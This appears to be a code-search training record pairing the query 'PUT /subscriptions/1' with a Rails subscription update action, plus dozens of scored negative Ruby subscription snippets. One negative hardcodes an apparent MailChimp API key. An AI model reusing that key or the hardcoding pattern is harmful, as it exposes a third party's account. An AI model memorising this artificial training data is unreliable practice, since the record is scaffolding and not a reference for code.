@subscription.unit_cost = @subscription.subscription_type.unit_cost\n \n respond_to do |format|\n if @subscription.save\n flash[:notice] = 'Subscription was successfully created.'\n format.html { redirect_to(@subscription) }\n format.xml { render :xml => @subscription, :status => :created, :location => @subscription }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_subscription\n session[:merchant_subscription_id] = 'User' + sprintf('%03d', rand(1000)) + 'Subscription' + sprintf('%04d', rand(10000))\n\n # prepare payload\n data = {\n :Amount => params[:product] == '1' ? 1.99 : 3.99,\n :Category => 1,\n :Channel => 'MOBILE_WEB',\n :Description => 'Word game 1',\n :MerchantTransactionId => session[:merchant_subscription_id],\n :MerchantProductId => 'wordGame1',\n :MerchantPaymentRedirectUrl => settings.subscription_redirect_url,\n :MerchantSubscriptionIdList => 'sampleSubscription1',\n :IsPurchaseOnNoActiveSubscription => 'false',\n :SubscriptionRecurringNumber => '99999',\n :SubscriptionRecurringPeriod => 'MONTHLY',\n :SubscriptionRecurringPeriodAmount => 1\n }\n\n response = RestClient.post settings.notary_app_sign_url, :payload => data.to_json\n from_json = JSON.parse response\n\n redirect settings.FQDN + \"/Commerce/Payment/Rest/2/Subscriptions?clientid=#{settings.api_key}&SignedPaymentDetail=#{from_json['signed_payload']}&Signature=#{from_json['signature']}\"\nend", "def create\n args = ZAPIArgs.new\n args.uri = Resource_Endpoints::POST_SUBSCRIPTION\n\n args.req_body = ZAPIArgs.new\n args.req_body.accountKey = SAMPLE_ACCOUNT_KEY\n args.req_body.contractEffectiveDate = '2013-02-1'\n args.req_body.termType = 'TERMED'\n args.req_body.initialTerm = '12'\n args.req_body.autoRenew = true\n args.req_body.renewalTerm = \"3\"\n args.req_body.notes = 'Test POST subscription from z-ruby-sdk'\n args.req_body.subscribeToRatePlans = []\n args.req_body.subscribeToRatePlans[0] = ZAPIArgs.new\n args.req_body.subscribeToRatePlans[0].productRatePlanId = 'ff8080811ca15d19011cdda9b0ad3b51'\n args.req_body.subscribeToRatePlans[0].chargeOverrides = []\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0] = ZAPIArgs.new\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0].productRatePlanChargeId =\n 'ff8080811ca15d19011cddad8c953b53'\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0].quantity = 10\n args.req_body.invoiceTargetDate = '2013-12-31'\n args.req_body.invoiceCollect = false\n\n puts \"========== CREATE A SUBSCRIPTION ============\"\n\n begin\n @z_client.post(args) do |resp|\n ap resp\n return resp.subscriptionNumber if resp.httpStatusCode.to_i == 200 && resp.success\n end\n rescue ArgumentError => e\n puts e.message\n rescue RuntimeError => e\n puts e.message\n end\n\n nil\n end", "def create(params)\n params[:tag] ||= '*'\n post(\"#{domain}/unsubscribes\", params)\n end", "def create\n # params[:id] is the knowmadics id\n\n @api_subscription = Api::Subscription.new(api_subscription_params)\n\n respond_to do |format|\n if @api_subscription.save\n format.html { redirect_to @api_subscription, notice: 'Subscription was successfully created.' }\n format.json { render :show, status: :created, location: @api_subscription }\n else\n format.html { render :new }\n format.json { render json: @api_subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if session[:user_id] \n user = User.find(session[:user_id])\n s = Subscription.new\n s.url = params[:subscription][:url]\n s.title = params[:subscription][:title]\n s.user = user\n @subscription = s\n \n respond_to do |format|\n if @subscription.save\n format.html { redirect_to(@subscription, :notice => 'Subscription was successfully created.') }\n format.xml { render :xml => @subscription, :status => :created, :location => @subscription }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "def subscribe\n \nend", "def create\n @subscription = Subscription.new(subscription_params)\n @subscription.user = current_user\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to @subscription, notice: t('controller.successfully_created', model: t('activerecord.models.subscription')) }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def build_update_subscription_request(xml, options)\n xml.tag!('subscriptionId', options[:subscription_id])\n # Adds Subscription\n add_subscription(xml, options)\n\n xml.target!\n end", "def build_status_subscription_request(xml, options)\n xml.tag!('subscriptionId', options[:subscription_id])\n\n xml.target!\n end", "def create\n\t\t@subscription = Subscription.new(params[:subscription])\n\t\trespond_to do |format|\n\t\t\tif fonct_new_dup?\n\t\t\t\tobject_orig=Subscription.find(params[:object_orig_id])\n\t\t\tst = @subscription.create_duplicate(object_orig)\n\t\t\telse\n\t\t\tst = @subscription.save\n\t\t\tend\n\t\t\tif st\n\t\t\t\t#format.html { redirect_to(@subscription, :notice => 'Subscription was successfully created.') }\n\t\t\t\tflash[:notice] = 'Subscription was successfully created.'\n\t\t\t\tparams[:id]= @subscription.id\n\t\t\t\tshow_\n\t\t\t\tformat.html { render :action => \"show\" }\n\t\t\t\tformat.xml { render :xml => @subscription, :status => :created, :location => @subscription }\n\t\t\telse\n\t\t\t\t@ingroups = Group.all\n\t\t\t\t@inprojects = Project.all\n\t\t\t\t@fortypesobjects=Typesobject.get_from_observer\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n @subscription = Subscription.new(params[:subscription])\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to campaign_subscription_path(@campaign, @subscription), :notice => 'Subscription was successfully created.' }\n format.json { render :json => @subscription, :status => :created, :location => @subscription }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create \n @subscription = Subscription.new(params[:subscription])\n \n uri = URI.parse(request.env[\"HTTP_REFERER\"])\n unless %w{ app.atra.obra.org localhost app.americantrackracing.com raceatra.com www.raceatra.com}.include?(uri.host)\n flash[:notice] = \"Cannot send request from '#{uri.host}'\"\n return render(:action => \"new\")\n end\n\n if @subscription.valid?\n email = SubscriptionMailer.create_subscription_request(@subscription)\n SubscriptionMailer.deliver(email)\n redirect_to(:action => \"subscribed\")\n else\n render(:action => \"new\")\n end\n end", "def test_subscribe\n jid = 'foo@example.com'\n @roster.deliver_subscription_request(jid)\n assert_equal([jid], @roster.accepted_subscriptions)\n end", "def create\n @subscription = Subscription.new(params[:subscription])\n @subscription.screen = @screen\n @subscription.field = @field\n auth!\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to(manage_screen_field_subscriptions_path(@screen, @field), :notice => t(:subscription_created)) }\n format.xml { render :xml => @subscription, :status => :created, :location => @subscription }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end", "def subscribe\n @subscription.subscribe(with_email_subscription: params[:with_email_subscription].to_s.to_boolean(ActivityNotification.config.subscribe_to_email_as_default),\n with_optional_targets: params[:with_optional_targets].to_s.to_boolean(ActivityNotification.config.subscribe_to_optional_targets_as_default))\n return_back_or_ajax\n end", "def create\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to @subscription.transaction, notice: 'Subscription was successfully created.' }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @subscription = Subscription.new(params[:subscription])\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to Binder.find(@subscription.binder_id), notice: 'Subscription was successfully created.' }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @subscription = Subscription.create(params[:subscription])\n groups = params[:subscription][:group_name].split(\",\").collect(&:strip)\n email = params[:subscription][:email]\n begin\n gb = Gibbon::API.new(\"f24fdd53217fab0b0698fdaba15c0c6f-us7\")\n subscribe = gb.lists.subscribe({\n :id => \"caa152eac4\",\n :email => {:email => email},\n :merge_vars => {\n :FNAME => \"\",\n :LNAME => \"\",\n :groupings => {\n 0 => {\n :id => 4457,\n :groups => groups\n }\n }\n },\n :update_existing => true,\n :double_optin => false\n })\n #logger.debug subscribe\n rescue Gibbon::MailChimpError\n \n end\n redirect_to \"/contact\"\n end", "def create\n @admin_subscribe = Admin::Subscribe.new(admin_subscribe_params)\n\n respond_to do |format|\n if @admin_subscribe.save\n format.html { redirect_to root_path, notice: 'Subscribe was successfully created.' }\n format.json { render :show, status: :created, location: @admin_subscribe }\n else\n format.html { render root_path }\n format.json { render json: @admin_subscribe.errors, status: :unprocessable_entity }\n end\n end\n end", "def webhook_subscribe\n # verify the string parameters\n if params['hub.mode'] == 'subscribe' &&\n params['hub.topic'] == @feed.url &&\n params['hub.challenge'].present?\n\n @feed.status = 'subscription_requested' # 17 mins\n if params['hub.lease_seconds'].present? && params['hub.lease_seconds'].to_i > 0\n @feed.expiration_date = DateTime.now + Rational(params['hub.lease_seconds'].to_i, 86_400)\n unless @feed.save\n # log error\n logger.error \"FEED SAVE TO DB ERROR:#{@feed.inspect}\"\n end\n end\n\n render status: 200, plain: params['hub.challenge']\n else\n render status: 422, plain: 'Invalid parameters'\n end\n end", "def create_subscription(body:)\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/v2/subscriptions'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json',\n 'content-type' => 'application/json; charset=utf-8'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.post(\n _query_url,\n headers: _headers,\n parameters: body.to_json\n )\n OAuth2.apply(config, _request)\n _response = execute_request(_request)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n _errors = APIHelper.map_response(decoded, ['errors'])\n ApiResponse.new(\n _response, data: decoded, errors: _errors\n )\n end", "def new\n @subscription = Subscription.new\n @subscription.confirmed = true\n get_list_and_segments\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def create\n @subscription_type = SubscriptionType.new(params[:subscription_type])\n\n respond_to do |format|\n if @subscription_type.save\n flash[:notice] = 'SubscriptionType was successfully created.'\n format.html { redirect_to(@subscription_type) }\n format.xml { render :xml => @subscription_type, :status => :created, :location => @subscription_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subscription_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create(options)\n API::request(:post, 'subscription_agreements', options)\n end", "def subscribe!\n Subscription.transaction do\n subscription = create_stripe_subscription!\n store.subscriptions.create!(\n customer: user,\n stripe_plan_id: stripe_plan_id,\n stripe_id: subscription.id,\n first_date: Date.today,\n status: :active\n )\n end\n end", "def subscription_params\n params.require(:subscription).permit(:subscribed_id)\n end", "def on_subscription_success\n end", "def create\n @subscription_request = SubscriptionRequest.new(params[:subscription_request])\n\n respond_to do |format|\n if @subscription_request.save\n format.html { redirect_to @subscription_request, notice: 'Subscription request was successfully created.' }\n format.json { render json: @subscription_request, status: :created, location: @subscription_request }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @subscription = Subscription.new(params[:subscription])\n @subscription.created_at = Time.new\n # always use current user\n @subscription.user_id = current_user.id\n @subscription.subscription_id = current_user.id.to_s\n respond_to do |format|\n if not current_user.fitbit.nil?\n if @subscription.save\n path = ['/1/user/-', @subscription.collection_path, 'apiSubscriptions', @subscription.subscription_id + '-' + @subscription.collection_path]\n api = JSON.parse(current_user.fitbit.client.post(path.join('/') + '.json').body)\n flash[:success] = 'Subscription was successfully created.' \n format.html { redirect_to @subscription }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n flash[:error] << @subscription.errors\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n\tend\n else\n flash[:error] = 'You are not connected to Fitbit.'\n format.html { redirect_to @subscription }\n format.json { render json: @subscription, status: :unprocessable_entity }\n end\n end\n end", "def update_subscriptions(email, attrs = {})\n attrs['email'] = email\n Iterable.request(conf, '/users/updateSubscriptions').post(attrs)\n end", "def create_subscription(options)\n stripe_service.create_subscription(options)\n end", "def create\n @service = Service.find(params[:service_id])\n \n @service_subscription = current_user.subscribe(@service, params[:service_subscription])\n \n if @service_subscription && @service_subscription.errors.empty?\n redirect_to service_subscriptions_path, :success => \"You have subscribed to the service!\"\n else\n render :action => :new\n end\n \n end", "def create\n @panel_subscription = Panel::Subscription.new(params[:panel_subscription])\n\n respond_to do |format|\n if @panel_subscription.save\n format.html { redirect_to(@panel_subscription, :notice => 'Subscription was successfully created.') }\n format.json { render :json => @panel_subscription, :status => :created, :location => @panel_subscription }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @panel_subscription.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create(params)\n params.merge!(\n :order_no => (Time.now.to_f * 10000).to_i.to_s, # Produce a unique order_no - it's not used anywhere, but ePay needs this\n :amount => 0\n )\n \n post = Api.default_post_for_params(params).merge({\n :subscription => 1,\n :subscriptionname => params[:description]\n })\n \n query = Api.authorize(post)\n \n if query['accept']\n # Return the new subscriber\n subscription = new(query[\"subscriptionid\"].to_i).reload\n \n # Set (obfuscated) card number:\n subscription.card_no = query[\"tcardno\"]\n \n subscription\n else\n new(nil, 'error' => query[\"error\"])\n end\n end", "def service_subscriptions\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('subscriptions')\n )\n )\n send_iq_stanza_fibered iq\n end", "def create\n @admin_subscription = Subscription.new(admin_subscription_params)\n\n respond_to do |format|\n if @admin_subscription.save\n format.html { redirect_to [:admin, @admin_subscription], notice: 'L\\'abonnement a bien été créé !' }\n format.json { render :show, status: :created, location: @admin_subscription }\n else\n format.html { render :new }\n format.json { render json: @admin_subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @subscription = Subscription.new(subscription_params)\n @subscription.activity :params => {:composite_key => \"#{@subscription.game_id},#{@subscription.player_id}\"}\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to @subscription.game, notice: 'Subscription was successfully created.' }\n format.json { render :show, status: :created, location: @subscription }\n else\n format.html { render :new }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def subscribe\n Socky.send( {:action => \"subscribe\",\n :channel => params[:channel],\n :client => (params[:client_id] || '')}.to_json)\n render :text => \"ok\"\n end", "def subscribe!(params)\n raise Errors::AlreadySubscribedError if subscribed?\n raise Errors::StripeCustomerExistsError if stripe_customer_id\n\n customer = ::Stripe::Customer.create(\n source: params[:stripe_token],\n plan: params[:subscription_plan_id] || SlackRubyBotServer::Stripe.config.subscription_plan_id,\n email: params[:stripe_email],\n metadata: {\n id: id,\n team_id: team_id,\n name: name,\n domain: domain\n }\n )\n\n update_attributes!(\n subscribed: true,\n subscribed_at: Time.now.utc,\n stripe_customer_id: customer['id'],\n subscription_expired_at: nil,\n subscription_past_due_at: nil,\n subscription_past_due_informed_at: nil\n )\n\n customer\n end", "def subscription_params\n params.require(:subscription).permit(:start_at, :finish_at, :visits, :is_active, :note, :record_client_id)\n end", "def subscriber_add(statuspage_id, method, address, silent = '1', granular = '')\n data = {}\n data['statuspage_id'] = statuspage_id\n data['method'] = method\n data['address'] = address\n data['silent'] = silent\n data['granular'] = granular\n\n request :method => :post,\n :url => @url + 'subscriber/add',\n :payload => data\n end", "def create\n @subscribe = Subscribe.new(subscribe_params)\n\n respond_to do |format|\n if @subscribe.save\n format.html { redirect_to @subscribe, notice: t('controller.successfully_created', model: t('activerecord.models.subscribe')) }\n format.json { render json: @subscribe, status: :created, location: @subscribe }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscribe.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_subscription(sender)\n PsegRecurring::Subscription.new(@credentials).send_subscription(sender)\n end", "def subscription_params\n params.require(:subscription).permit(:user_id, :subscribable_id, :subscribable_type, :notification_preference)\n end", "def create\n @subscription = Subscription.new(params[:subscription])\n\n if params.has_key?(:new_service_id)\n service = Service.find(params[:new_service_id])\n unless service.nil?\n @subscription.service_id = service.id\n @subscription.costs = service.costs\n @subscription.user_id = current_user.id\n end\n end\n\n respond_to do |format|\n if @subscription.save\n flash[:success] = \"Subscription was successfully created.\"\n format.html { redirect_to @subscription }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n unless service.nil?\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n else\n flash[:error] = \"Subscription was not successful.\"\n format.html redirect_to services_path\n end\n end\n end\n end", "def subscribe\n @podcast = Podcast.where(:id => params[:id]).first\n unless Subscription.where(:user_id => current_user.id, :podcast_id => params[:id]).size > 0\n @subscription = Subscription.new(:user_id => current_user.id, :podcast_id => params[:id])\n if @subscription.save\n puts \"Subscription successfully created!\"\n redirect_to @podcast, :notice => \"successfully subscribed!\"\n # render :layout => false\n else\n puts \"Subscription failed to be created!\"\n render :layout => false\n end\n end\n end", "def create\r\n @subscription = Subscription.new(subscription_params)\r\n @subscription.business_user_id = current_business_user.id\r\n respond_to do |format|\r\n if @subscription.save\r\n format.html { redirect_to business_user_subscriptions_path, notice: 'Subscription was successfully created.' }\r\n format.json { render json: @subscription, status: :created, location: @subscription }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @subscribe = Subscribe.new(subscribe_params)\n\n respond_to do |format|\n if @subscribe.save\n format.html {redirect_to @subscribe, notice: 'Subscribe was successfully created.'}\n format.json {render json: @subscribe, status: :created}\n else\n format.html {render :new}\n format.json {render json: @subscribe.errors, status: :unprocessable_entity}\n end\n end\n end", "def subscribe\n @recipient = Recipient.new(params[:recipient])\n\n if request.post?\n s = Subscription.subscribe( @recipient, @project )\n if s\n render :text => @project.templets.find_by_name('PAGE_SUBSCRIBE_OK').render( @project ), :layout => true\n return\n end\n flash.now[:error] = _(\"Unable to accept your request!\")\n end\n \n render :text => @project.templets.find_by_name('PAGE_SUBSCRIBE').render( @project, :recipient => @recipient ), :layout => true\n end", "def subscriptions\n update_subscriptions(params[:types]) if params[:types]\n @types = build_notification_types\n render :json => @types\n end", "def new\n @service = Service.find_by_id(params[:service_id]) or redirect_to services_path\n \n @service_subscription = @service.subscriptions.build()\n @service_subscription.user_id = current_user.id\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_subscription }\n end\n end", "def delete_subscriptions\n end", "def subscriptions\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('subscriptions',:node => node_id)\n )\n )\n send_iq_stanza_fibered iq\n end", "def add_subscription(entity)\r\n subscriptions << entity\r\n end", "def subscriptions\n url = url_with_api_version(@base_url, 'subscriptions')\n resp = rest_get(url)\n JSON.parse(resp.body)[\"value\"]\n end", "def create\n @subscription_type = SubscriptionType.new(subscription_type_params)\n\n respond_to do |format|\n if @subscription_type.save\n format.html { redirect_to @subscription_type, notice: 'Subscription types was successfully created.' }\n format.json { render :show, status: :created, location: @subscription_type }\n else\n format.html { render :new }\n format.json { render json: @subscription_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # checking a new method\n # @subscribe = Subscribe.update_sub(@item, @user)\n @subscribe = Subscribe.new(subscribe_params)\n respond_to do |format|\n if @subscribe.save\n format.html { redirect_to @subscribe}#, notice: 'Subscribe was successfully created.' }\n format.json { render :show, status: :created, location: @subscribe }\n else\n format.html { render :new }\n format.json { render json: @subscribe.errors, status: :unprocessable_entity }\n end\n end\n end", "def list_my_subscriptions() path = \"/api/v2/utilities/subscriptions\"\n get(path, {}, AvaTax::VERSION) end", "def create\n @subscription = current_user.subscriptions.create(subscription_params)\n redirect_to @playlist\n end", "def create\n @subscription = current_user.subscriptions.new\n manga = Manga.find(params[:manga_id])\n\t\t@subscription.manga_id=manga.id\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to mangas_path, notice: 'Successfully subscribed to '+ manga.display_name.to_s}\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category_subscription = CategorySubscription.new(category_subscription_params)\n\n respond_to do |format|\n if @category_subscription.save\n format.html { redirect_to @category_subscription, notice: 'Category subscription was successfully created.' }\n format.json { render :show, status: :created, location: @category_subscription }\n else\n format.html { render :new }\n format.json { render json: @category_subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @subscription = Subscription.new(subscription_params)\n\n @subscription.sub_create(current_user,subscription_params[:stripe_plan_id],subscription_params[:coupon_code])\n\n # Create a subscription with the following information:\n #\n # 1) Customer Account\n # 2) Subscription Type (GOLD, Silver, etc.)\n # 3) Discount Coupom (if applicable)\n\n if @subscription.save\n redirect_to @subscription, notice: 'Subscription was successfully created.'\n else\n @verrors = @subscription.errors.full_messages\n render 'new'\n end\n end", "def create_webhook_subscription(submission___context_id__,subscription___context_type__,subscription___event_types__,subscription___format__,subscription___transport_metadata__,subscription___transport_type__,opts={})\n query_param_keys = [\n \n\n ]\n\n form_param_keys = [\n :submission___context_id__,\n :subscription___context_type__,\n :subscription___event_types__,\n :subscription___format__,\n :subscription___transport_metadata__,\n :subscription___transport_type__,\n \n\n ]\n\n # verify existence of params\n raise \"submission___context_id__ is required\" if submission___context_id__.nil?\n raise \"subscription___context_type__ is required\" if subscription___context_type__.nil?\n raise \"subscription___event_types__ is required\" if subscription___event_types__.nil?\n raise \"subscription___format__ is required\" if subscription___format__.nil?\n raise \"subscription___transport_metadata__ is required\" if subscription___transport_metadata__.nil?\n raise \"subscription___transport_type__ is required\" if subscription___transport_type__.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :submission___context_id__ => submission___context_id__,\n :subscription___context_type__ => subscription___context_type__,\n :subscription___event_types__ => subscription___event_types__,\n :subscription___format__ => subscription___format__,\n :subscription___transport_metadata__ => subscription___transport_metadata__,\n :subscription___transport_type__ => subscription___transport_type__\n\n )\n\n # resource path\n path = path_replace(\"/lti/subscriptions\",\n )\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_query_params(options, query_param_keys)\n\n response = mixed_request(:post, path, query_params, form_params, headers)\n response\n \n\n end", "def create\n@subscription = current_user.subscriptions.build(subscription_params)\n\nrespond_to do |format|\n if @subscription.save\n\n format.html { redirect_to user_profile_url(current_user.id), notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @subscription }\n else\n format.html { render :new }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\nend\nend", "def subscribe!\n # TODO: Implement\n end", "def subscription_params\n params.require(:subscriptions).permit(:venue_name, :user_id)\n end", "def new\n @subscription = Subscription.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def new\n @subscription = Subscription.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def create\n @category_subscription = CategorySubscription.new(category_subscription_params)\n\n respond_to do |format|\n if @category_subscription.save\n format.html { redirect_to [:admin, @category_subscription], notice: 'Подписка на категорию была успешно создана.' }\n format.json { render :show, status: :created, location: @category_subscription }\n else\n format.html { render :new }\n format.json { render json: @category_subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def subscriptions( params={} )\n subscriptions = get_connections(\"subscriptions\", params)\n return map_connections subscriptions, :to => Facebook::Graph::Subscription\n end", "def subscribe subscription_name, deadline: nil, endpoint: nil\n ensure_connection!\n options = { deadline: deadline, endpoint: endpoint }\n resp = connection.create_subscription name, subscription_name, options\n if resp.success?\n Subscription.from_gapi resp.data, connection\n else\n fail ApiError.from_response(resp)\n end\n end", "def subscribe!(topic)\n subscriptions.create!( :topic_id => topic.id )\n end", "def push_subscription\n\t\trender :nothing => true\n\tend", "def create\n @list_subscription = ListSubscription.new(params[:list_subscription])\n\n respond_to do |format|\n if @list_subscription.save\n format.html { redirect_to @list_subscription, notice: 'List subscription was successfully created.' }\n format.json { render json: @list_subscription, status: :created, location: @list_subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @list_subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @subscription_user = SubscriptionUser.new(subscription_user_params)\n\n respond_to do |format|\n if @subscription_user.save\n format.html { redirect_to @subscription_user, notice: 'Subscription user was successfully created.' }\n format.json { render :show, status: :created, location: @subscription_user }\n else\n format.html { render :new }\n format.json { render json: @subscription_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def subscribe\n debug [self.name, \"incoming\"]\n subscribe_request\n end", "def subscribe\n Case_Watcher.create_subscription!(current_contact.synced_record, set_options )\n if request.xhr?\n render :update do |page|\n page.alert \"Case Watcher Created.\"\n page.replace_html \"subscribe_container\", set_subscribe_link\n end\n else\n flash[:notice] = \"Case Watcher Created.\"\n redirect_to(:back)\n end\n \n end", "def create\n @vendor_subscription = VendorSubscription.new(vendor_subscription_params)\n\n respond_to do |format|\n if @vendor_subscription.save\n format.html { redirect_to @vendor_subscription, notice: 'Vendor subscription was successfully created.' }\n format.json { render :show, status: :created, location: @vendor_subscription }\n else\n format.html { render :new }\n format.json { render json: @vendor_subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_webhook_subscription(body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/v2/webhooks/subscriptions',\n 'default')\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def create\n @subscription = Subscription.new(subscription_params)\n @subscription.screen = @screen\n @subscription.field = @field\n auth!\n\n # Verify the screen can read the feed\n ability = Ability.new(@screen)\n @subscription.feed = nil if ability.cannot?(:read, @subscription.feed)\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to(screen_field_subscriptions_path(@screen, @field), notice: t(:subscription_created)) }\n format.xml { render xml: @subscription, status: :created, location: @subscription }\n format.js\n else\n format.html { render action: \"new\" }\n format.xml { render xml: @subscription.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end" ]
[ "0.7304615", "0.7219175", "0.69837844", "0.6862137", "0.6852749", "0.67479473", "0.6738934", "0.66649455", "0.66104853", "0.65223575", "0.65149474", "0.6507773", "0.64986247", "0.6443814", "0.6442383", "0.6438569", "0.6434718", "0.6380689", "0.63804936", "0.63492006", "0.63465416", "0.63433963", "0.6329582", "0.6320145", "0.6317286", "0.63005173", "0.62922287", "0.6275327", "0.625707", "0.6228484", "0.61898595", "0.6180569", "0.6128605", "0.6121313", "0.6117875", "0.6110217", "0.60934895", "0.60917896", "0.6069225", "0.6068914", "0.6053088", "0.6030127", "0.6010237", "0.6007787", "0.59780663", "0.5975674", "0.59723085", "0.5969181", "0.59690833", "0.5953708", "0.5931983", "0.593072", "0.5925829", "0.59220546", "0.591117", "0.5901078", "0.5888361", "0.5887185", "0.5885543", "0.58846813", "0.5878643", "0.5875469", "0.5871806", "0.5866069", "0.58659", "0.58645713", "0.5843688", "0.5841123", "0.58405155", "0.58326757", "0.58322746", "0.5829715", "0.582864", "0.5828342", "0.5826098", "0.5819102", "0.5814405", "0.5809978", "0.58047813", "0.5798621", "0.57963914", "0.5795757", "0.57918376", "0.5791635", "0.57748055", "0.57748055", "0.5772238", "0.5770065", "0.5764901", "0.57646537", "0.57590675", "0.57478964", "0.5741371", "0.5741136", "0.5738172", "0.5737746", "0.5729857", "0.5729663", "0.5729534", "0.5729534", "0.5729534" ]
0.0
-1
PUT /subscriptions/1 PUT /subscriptions/1.xml
def update @subscription = Subscription.find(params[:id]) respond_to do |format| if @subscription.update_attributes(params[:subscription]) flash[:notice] = 'Subscription was successfully updated.' format.html { redirect_to(@subscription) } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @subscription = Subscription.get(params[:id])\n @subscription.update(params[:subscription])\n respond_with(@subscription.reload)\n end", "def create / update_subscriptions\n end", "def update\n @subscription = Subscription.find(params[:id])\n \n respond_to do |format|\n \n \n if @subscription.update_attributes(params[:subscription])\n flash[:notice] = 'Subscription was successfully updated.'\n format.html { redirect_to(@subscription) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to(subscriptions_url, :notice => 'Subscription was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to(@subscription, :notice => 'Subscription was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @subscription = Subscription.find(params[:id])\n\n if 